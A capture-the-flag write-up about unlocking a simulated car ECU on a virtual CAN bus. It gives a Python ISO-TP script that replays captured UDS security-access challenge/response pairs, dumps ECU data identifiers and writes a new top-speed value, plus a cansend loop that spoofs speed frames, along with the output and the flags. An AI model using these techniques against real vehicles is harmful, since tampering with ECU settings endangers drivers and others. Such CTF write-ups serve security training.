## Reconinitial recon same as for all OBD Tuning (see our OBD Tuning 2 [writeup](https://ctftime.org/writeup/23318))
## Analysis of the pcapin the provided pcap dump with a bit car hacking knowledge one can see some [UDS](https://en.wikipedia.org/wiki/Unified_Diagnostic_Services) commands going on. intresting are the CANid 0x43 and 0x42 (tx/rx)  we can see following procedure in the dump:
* 10 02 means "init diag session"* 27 01 is security access "send challenge"* 27 02 is security access "response"* 22 00 04 is read Data By CommonIdentifier, you can read various infos from the ECU
those commands are wrapped in [ISO-TP](https://en.wikipedia.org/wiki/ISO_15765-2) as underlying transport protocol
## Attack ideain the pcap dump one also finds four valid challenge response pairs. testing for simple algorithms like in [OBD-Tuning-1](https://ctftime.org/writeup/23332) came out with no usable results, so new idea would be, trying to ask for challenges until we maybe get an seen before challenge, where we then would know the response
This are the valid chal / resp pairs from the pcap dump:* 704ebdb76c8fb85f46e0f42890b64104 / aa90c11ed13b648ea133e7acc4d59cd5* 82c86b89f89a3045a9bfc36e2a337ead / c49c1ecce4757690691bcfc9a788ed7c* 5d8f55fa52d780290c3aa9077ca98471 a799a3c44c774a07fb53eb3d9d0e9ee7* dee5e33cedc41bec2f1f7c08113ec7eb / bf8d9071c00ded3c35765dc6cbf7b4a4
after unlocking the ECU we would try to dump all data-values from the ECU stored on "common identifiers"
## Attackafter a bit of googeling we found a nice usable python iso-tp skeleton for talking to the ECU, which we used to implement the outlined attack```pythonSOL_CAN_ISOTP = 106 # These constants exist in the module header, not in Python.CAN_ISOTP_RECV_FC = 2# Many more exists.
import socketimport structimport time
def hexdump(data): output = "" for i in range(0,len(data),2):  value =  int(data[i:i+2],16)  if value > 0x20 and value < 0x80:   output += chr(value)  else:   output += "." return(output) # init socketss2 = socket.socket(socket.AF_CAN, socket.SOCK_DGRAM, socket.CAN_ISOTP)s2.bind(("vcan0", 0x042, 0x043)) #rxid, txid with confusing order.
# init diag session UDS: 10 02s2.send(b"\x10\x02")data = s2.recv(4095)print("answer to 0x10: " + hex(data[0]) )
run = 1
while run == 1: # security access request challenge UDS 27 01 print("sending get challenge (27 01)") s2.send(b"\x27\x01") data = s2.recv(4095) dump = ''.join("%02X" % _ for _ in data) print("answer to 27 01: " + dump + " " + hexdump(dump) )
 num = int(hexdump(dump[4:]),16)  # good challenges from pcap dump if num == 0x82c86b89f89a3045a9bfc36e2a337ead:  # security access req response  print("UNLOCKED ! - sending good response 27 02")  s2.send(b"\x27\x02" + 'c49c1ecce4757690691bcfc9a788ed7c'.encode() )  data = s2.recv(4095)  run = 0 elif num == 0x5d8f55fa52d780290c3aa9077ca98471:  # security access req response  print("UNLOCKED ! - sending good response 27 02")  s2.send(b"\x27\x02" + 'a799a3c44c774a07fb53eb3d9d0e9ee7'.encode() )  data = s2.recv(4095)  run = 0 elif num == 0xdee5e33cedc41bec2f1f7c08113ec7eb:  # security access req response  print("UNLOCKED ! - sending good response 27 02")  s2.send(b"\x27\x02" + 'bf8d9071c00ded3c35765dc6cbf7b4a4'.encode() )  data = s2.recv(4095)  run = 0 elif num == 0x704ebdb76c8fb85f46e0f42890b64104:  # security access req response  print("UNLOCKED ! - sending good response 27 02")  s2.send(b"\x27\x02" + 'aa90c11ed13b648ea133e7acc4d59cd5'.encode() )  data = s2.recv(4095)  run = 0 else:  # security access req response  print("no luck - sending garbage response 27 02")  s2.send(b"\x27\x02" + 'c49c1ecce4757690691bcfc9a788ed7c'.encode() )  data = s2.recv(4095)  time.sleep(0.1) # slow down a bit
# unlocked, now dump all readDataByCommonIdentifierprint("dumping all common identifier Data") for i in range(256): s2.send(b"\x22\x00" + chr(i).encode()) data = s2.recv(4095) dump = ''.join("%02X" % _ for _ in data) print("answer to 0x22 00 %02X" % i + ": " + dump + " " + hexdump(dump) )
```
## Runningafter getting a hit, something like a flag was found in id number 7```...sending get challenge (27 01)answer to 27 01: 67016137646164333031643533386163333936303434613431386139393339376661 g.a7dad301d538ac396044a418a99397fano luck - sending garbage response 27 02sending get challenge (27 01)answer to 27 01: 67013832633836623839663839613330343561396266633336653261333337656164 g.82c86b89f89a3045a9bfc36e2a337eadUNLOCKED ! - sending good response 27 02dumping all common identifier Dataanswer to 0x22 00 00: 62000036 b..6answer to 0x22 00 01: 62000139303030 b..9000answer to 0x22 00 02: 620002323939 b..299answer to 0x22 00 03: 6200033130 b..10answer to 0x22 00 04: 620004574253434B39333435594C343234323432 b..WBSCK9345YL424242answer to 0x22 00 05: 62000533363236373831313233 b..3626781123answer to 0x22 00 06: 620006393031323231 b..901221answer to 0x22 00 07: 620007414C4C45535B44554D4D595F554E4445525F3330304B4D485F464C41475D b..ALLES[DUMMY_UNDER_300KMH_FLAG]answer to 0x22 00 08: 62000830 b..0answer to 0x22 00 09: 62000931 b..1answer to 0x22 00 0A: 62000A30 b..0...```
so it seems we are missing the speed has to be 300km/h, so we got only a dummy flag yet.
## ALLES[DUMMY_UNDER_300KMH_FLAG]
after looking further the CAN-id 888 looked like some speed related stuff, cause values were going up and down over time in a fitting range  vcan0  00000888   [4]  03 31 37 36 -> 176 km/h
so idea was to spoof the actual speed to 300km/h by sending packets with the fake speed, so in a 2nd shell we did a hacky simple```for i in {1..50000}; do cansend vcan0 00000888#03333031; done``` setting the speed to 301 km/h  but this did not change anything...what did we miss ?  after looking around further, one of the read out ECU data values looked like a max. speed setting  ```answer to 0x22 00 02: 620002323939 b..299```  could it be possible to write a new value to the ECU and so modifying the max top-speed ?  a quick look into the [UDS](https://en.wikipedia.org/wiki/Unified_Diagnostic_Services) protocol specification revealed WriteDataByCommonIdentifier is the command byte 0x2E, so worth a try.  unlocking the ECU and writing a new top speed then, reading it back, so we enhanced the previous code by the following lines:  
```print("setting max speed to 350")s2.send(b"\x2E\x00\x02\x33\x35\x30")data = s2.recv(4095)
print("reading back")for i in range(12): s2.send(b"\x22\x00" + chr(i).encode()) data = s2.recv(4095) dump = ''.join("%02X" % _ for _ in data) print("answer to 0x22 00 %02X" % i + ": " + dump + " " + hexdump(dump) ```
and indeed after reading it back we got (we indeed changed the cars possible top speed):
```...answer to 0x22 00 01: 62000139303030 b..9000answer to 0x22 00 02: 620002333530 b..350answer to 0x22 00 03: 6200033130 b..10...```
so running the whole script again (while still spoofing the 301km/h can msg) finally the good flag appeared:```...answer to 0x22 00 04: 620004574253434B39333435594C343234323432 b..WBSCK9345YL424242answer to 0x22 00 05: 62000533363236373831313233 b..3626781123answer to 0x22 00 06: 620006393031323231 b..901221answer to 0x22 00 07: 620007414C4C45537B3363755F6834636B33725F346E645F73703333645F737030306633727D b..ALLES{3cu_h4ck3r_4nd_sp33d_sp00f3r}answer to 0x22 00 08: 62000830 b..0...```
mission accomplished :-)
too bad we discovered this too late and so were not be able to enter the flag :-(## ALLES{3cu_h4ck3r_4nd_sp33d_sp00f3r}macz